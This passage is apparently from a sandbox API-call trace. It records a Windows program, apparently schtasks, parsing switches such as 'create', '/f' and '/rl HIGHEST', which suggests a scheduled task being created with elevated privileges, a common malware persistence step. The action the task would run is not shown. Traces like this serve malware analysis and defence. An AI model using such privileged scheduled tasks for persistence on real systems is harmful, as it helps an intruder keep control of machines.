returned 4 [0131.505] lstrlenW (lpString="|rl|") returned 4 [0131.506] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0131.506] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.506] lstrlenW (lpString="et") returned 2 [0131.506] lstrlenW (lpString="et") returned 2 [0131.506] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.506] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.506] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|et|") returned 4 [0131.506] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.506] lstrlenW (lpString="|et|") returned 4 [0131.506] lstrlenW (lpString="|rl|") returned 4 [0131.506] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0131.506] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.506] lstrlenW (lpString="k") returned 1 [0131.506] lstrlenW (lpString="k") returned 1 [0131.506] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.506] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.506] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|k|") returned 3 [0131.506] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.506] lstrlenW (lpString="|k|") returned 3 [0131.608] lstrlenW (lpString="|rl|") returned 4 [0131.608] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.608] lstrlenW (lpString="du") returned 2 [0131.608] lstrlenW (lpString="du") returned 2 [0131.608] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.608] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.608] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|du|") returned 4 [0131.608] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.608] lstrlenW (lpString="|du|") returned 4 [0131.609] lstrlenW (lpString="|rl|") returned 4 [0131.609] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0131.609] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.609] lstrlenW (lpString="ri") returned 2 [0131.609] lstrlenW (lpString="ri") returned 2 [0131.609] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.609] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.609] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|ri|") returned 4 [0131.609] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.609] lstrlenW (lpString="|ri|") returned 4 [0131.609] lstrlenW (lpString="|rl|") returned 4 [0131.609] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0131.609] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.609] lstrlenW (lpString="z") returned 1 [0131.609] lstrlenW (lpString="z") returned 1 [0131.609] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.609] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.609] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|z|") returned 3 [0131.609] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.609] lstrlenW (lpString="|z|") returned 3 [0131.609] lstrlenW (lpString="|rl|") returned 4 [0131.609] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.609] lstrlenW (lpString="f") returned 1 [0131.610] lstrlenW (lpString="f") returned 1 [0131.610] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.610] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.610] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.610] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.610] lstrlenW (lpString="|f|") returned 3 [0131.610] lstrlenW (lpString="|rl|") returned 4 [0131.610] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.610] lstrlenW (lpString="v1") returned 2 [0131.610] lstrlenW (lpString="v1") returned 2 [0131.610] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.610] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.610] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|v1|") returned 4 [0131.610] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.610] lstrlenW (lpString="|v1|") returned 4 [0131.610] lstrlenW (lpString="|rl|") returned 4 [0131.610] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0131.610] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.610] lstrlenW (lpString="xml") returned 3 [0131.610] lstrlenW (lpString="xml") returned 3 [0131.610] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.610] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.610] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|xml|") returned 5 [0131.610] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.610] lstrlenW (lpString="|xml|") returned 5 [0131.610] lstrlenW (lpString="|rl|") returned 4 [0131.610] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0131.610] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.610] lstrlenW (lpString="ec") returned 2 [0131.611] lstrlenW (lpString="ec") returned 2 [0131.611] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.611] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.611] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|ec|") returned 4 [0131.611] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.611] lstrlenW (lpString="|ec|") returned 4 [0131.611] lstrlenW (lpString="|rl|") returned 4 [0131.611] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0131.611] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.611] lstrlenW (lpString="rl") returned 2 [0131.611] lstrlenW (lpString="rl") returned 2 [0131.611] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.611] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.611] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.611] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rl|") returned 4 [0131.611] lstrlenW (lpString="|rl|") returned 4 [0131.611] lstrlenW (lpString="|rl|") returned 4 [0131.611] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0131.611] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.611] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.611] lstrlenW (lpString="HIGHEST") returned 7 [0131.611] lstrlenW (lpString="-/") returned 2 [0131.611] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0131.611] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.611] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.611] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.611] lstrlenW (lpString="HIGHEST") returned 7 [0131.611] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0131.611] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.611] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.611] _memicmp (_Buf1=0x1ae8331a890, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.612] lstrlenW (lpString="HIGHEST") returned 7 [0131.612] lstrlenW (lpString="HIGHEST") returned 7 [0131.612] lstrlenW (lpString=" \x09") returned 2 [0131.612] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0131.612] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0131.612] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0131.612] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0131.612] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0131.612] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0131.612] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0131.612] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0131.612] GetLastError () returned 0x0 [0131.612] lstrlenW (lpString="HIGHEST") returned 7 [0131.612] lstrlenW (lpString="HIGHEST") returned 7 [0131.612] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.612] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.612] lstrlenW (lpString="/f") returned 2 [0131.612] lstrlenW (lpString="-/") returned 2 [0131.612] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.612] lstrlenW (lpString="create") returned 6 [0131.612] lstrlenW (lpString="create") returned 6 [0131.612] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.612] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.612] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|create|") returned 8 [0131.612] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.612] lstrlenW (lpString="|create|") returned 8 [0131.612] lstrlenW (lpString="|f|") returned 3 [0131.612] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0131.612] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.612] lstrlenW (lpString="?") returned 1 [0131.612] lstrlenW (lpString="?") returned 1 [0131.613] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.613] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.613] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|?|") returned 3 [0131.613] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.613] lstrlenW (lpString="|?|") returned 3 [0131.613] lstrlenW (lpString="|f|") returned 3 [0131.613] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0131.613] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.613] lstrlenW (lpString="s") returned 1 [0131.613] lstrlenW (lpString="s") returned 1 [0131.613] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.613] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.613] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|s|") returned 3 [0131.613] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.613] lstrlenW (lpString="|s|") returned 3 [0131.613] lstrlenW (lpString="|f|") returned 3 [0131.613] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0131.613] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.613] lstrlenW (lpString="u") returned 1 [0131.613] lstrlenW (lpString="u") returned 1 [0131.613] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.613] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.613] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|u|") returned 3 [0131.613] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.613] lstrlenW (lpString="|u|") returned 3 [0131.613] lstrlenW (lpString="|f|") returned 3 [0131.613] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0131.613] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.613] lstrlenW (lpString="p") returned 1 [0131.614] lstrlenW (lpString="p") returned 1 [0131.614] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.614] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.614] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|p|") returned 3 [0131.614] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.614] lstrlenW (lpString="|p|") returned 3 [0131.614] lstrlenW (lpString="|f|") returned 3 [0131.614] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0131.614] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.614] lstrlenW (lpString="ru") returned 2 [0131.614] lstrlenW (lpString="ru") returned 2 [0131.614] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.614] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.614] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|ru|") returned 4 [0131.614] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.614] lstrlenW (lpString="|ru|") returned 4 [0131.614] lstrlenW (lpString="|f|") returned 3 [0131.614] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0131.614] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.614] lstrlenW (lpString="rp") returned 2 [0131.614] lstrlenW (lpString="rp") returned 2 [0131.614] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.614] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.614] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rp|") returned 4 [0131.614] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.614] lstrlenW (lpString="|rp|") returned 4 [0131.614] lstrlenW (lpString="|f|") returned 3 [0131.614] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0131.615] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.615] lstrlenW (lpString="sc") returned 2 [0131.615] lstrlenW (lpString="sc") returned 2 [0131.615] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.615] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.615] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|sc|") returned 4 [0131.615] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.615] lstrlenW (lpString="|sc|") returned 4 [0131.615] lstrlenW (lpString="|f|") returned 3 [0131.615] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0131.615] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.615] lstrlenW (lpString="mo") returned 2 [0131.615] lstrlenW (lpString="mo") returned 2 [0131.615] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.615] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.615] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|mo|") returned 4 [0131.615] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.615] lstrlenW (lpString="|mo|") returned 4 [0131.615] lstrlenW (lpString="|f|") returned 3 [0131.615] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0131.615] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.615] lstrlenW (lpString="d") returned 1 [0131.615] lstrlenW (lpString="d") returned 1 [0131.615] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.615] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.615] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|d|") returned 3 [0131.615] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.615] lstrlenW (lpString="|d|") returned 3 [0131.616] lstrlenW (lpString="|f|") returned 3 [0131.616] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0131.616] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.616] lstrlenW (lpString="m") returned 1 [0131.616] lstrlenW (lpString="m") returned 1 [0131.616] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.616] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.616] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|m|") returned 3 [0131.616] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.616] lstrlenW (lpString="|m|") returned 3 [0131.616] lstrlenW (lpString="|f|") returned 3 [0131.616] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0131.616] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.616] lstrlenW (lpString="i") returned 1 [0131.616] lstrlenW (lpString="i") returned 1 [0131.616] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.616] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.617] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|i|") returned 3 [0131.617] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.617] lstrlenW (lpString="|i|") returned 3 [0131.617] lstrlenW (lpString="|f|") returned 3 [0131.617] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0131.617] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.617] lstrlenW (lpString="tn") returned 2 [0131.617] lstrlenW (lpString="tn") returned 2 [0131.617] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.617] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.617] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tn|") returned 4 [0131.617] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.617] lstrlenW (lpString="|tn|") returned 4 [0131.617] lstrlenW (lpString="|f|") returned 3 [0131.617] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0131.617] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.617] lstrlenW (lpString="tr") returned 2 [0131.617] lstrlenW (lpString="tr") returned 2 [0131.617] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.617] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.617] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tr|") returned 4 [0131.617] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.617] lstrlenW (lpString="|tr|") returned 4 [0131.617] lstrlenW (lpString="|f|") returned 3 [0131.617] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0131.617] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.617] lstrlenW (lpString="st") returned 2 [0131.617] lstrlenW (lpString="st") returned 2 [0131.617] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.617] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.618] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|st|") returned 4 [0131.618] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.618] lstrlenW (lpString="|st|") returned 4 [0131.618] lstrlenW (lpString="|f|") returned 3 [0131.618] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0131.618] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.618] lstrlenW (lpString="sd") returned 2 [0131.618] lstrlenW (lpString="sd") returned 2 [0131.618] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.618] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.618] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|sd|") returned 4 [0131.618] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.618] lstrlenW (lpString="|sd|") returned 4 [0131.618] lstrlenW (lpString="|f|") returned 3 [0131.618] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0131.618] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.618] lstrlenW (lpString="ed") returned 2 [0131.618] lstrlenW (lpString="ed") returned 2 [0131.618] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.618] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.618] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|ed|") returned 4 [0131.618] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.618] lstrlenW (lpString="|ed|") returned 4 [0131.618] lstrlenW (lpString="|f|") returned 3 [0131.618] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0131.618] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.618] lstrlenW (lpString="it") returned 2 [0131.618] lstrlenW (lpString="it") returned 2 [0131.618] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.618] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.619] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|it|") returned 4 [0131.619] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.619] lstrlenW (lpString="|it|") returned 4 [0131.619] lstrlenW (lpString="|f|") returned 3 [0131.619] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0131.619] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.619] lstrlenW (lpString="et") returned 2 [0131.619] lstrlenW (lpString="et") returned 2 [0131.619] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.619] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.619] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|et|") returned 4 [0131.619] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.619] lstrlenW (lpString="|et|") returned 4 [0131.619] lstrlenW (lpString="|f|") returned 3 [0131.619] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0131.619] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.619] lstrlenW (lpString="k") returned 1 [0131.619] lstrlenW (lpString="k") returned 1 [0131.619] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.619] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.619] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|k|") returned 3 [0131.619] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.619] lstrlenW (lpString="|k|") returned 3 [0131.619] lstrlenW (lpString="|f|") returned 3 [0131.619] StrStrIW 